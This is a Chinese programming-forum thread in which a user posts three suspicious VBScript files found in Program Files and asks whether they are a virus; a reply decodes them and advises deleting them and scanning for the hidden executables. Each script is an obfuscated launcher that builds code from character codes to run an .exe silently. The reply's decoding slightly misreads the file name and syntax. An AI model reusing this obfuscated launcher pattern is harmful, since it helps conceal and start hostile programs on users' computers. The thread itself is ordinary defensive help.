偶然在C:\Program Files目录下看到3个.vbs文件(1.vbs,2.vbs,3.vbs),不知道是不是病毒,把原代码发上来大家帮助分析一下,原代码如下:
1.vbs:
--------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,49,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
2.vbs
---------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,50,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)3.vbs
-----------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,51,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)谢谢大家了!
1.vbs:
--------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,49,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
2.vbs
---------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,50,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)3.vbs
-----------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,51,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)谢谢大家了!
解决方案 »
- VB中DataGrid 的问题!
- MDI窗体上的菜单显示不出来?急!!!
- 求助,怎样在用VB写的DLL组件中读取在ASP中读取DIM定义的值
- 怎样快速画出一个凭证录入界面?
- 请问des加密以后的密文问什么不能在textbox里面显示出来?
- VB6.0怎样挂DB2?
- 各位大侠:请问通过sendmessage将按键消息发送给当前窗口呢?是哪一个消息(50分)
- 用VB6生成的EXE 不能在另外的机子打开 没有提示只“嘀”的响一声
- 基础的问题。
- 如何实现类似QQ聊天记录的功能? Help!!!!!!!!
- text1.text为access表中的自动编号类型,但是运行时显示类型不符
- 知道当前有焦点的窗体的窗体名
不知道是不是你自己做的
如果不是的话,删除吧
chr(charcode(long值))返回 String,其中包含有与指定的字符代码相关的字符 。
wscript.createobject("w"&"s"&"cript"&".she"&"ll").run "C:\Perpi1.exe"/0wscript.sleep 0
wscript.createobject("w"&"s"&"cript"&".she"&"ll").run "C:\Perpi2.exe"/0wscript.sleep 0
wscript.createobject("w"&"s"&"cript"&".she"&"ll").run "C:\Perpi3.exe"/0分别是上面三段代码
你可以找一下,如果C盘根目录隐藏文件中有那三个文件
那么很可能是病毒
建议查杀病毒如果没有,那就没什么大碍,直接删除即可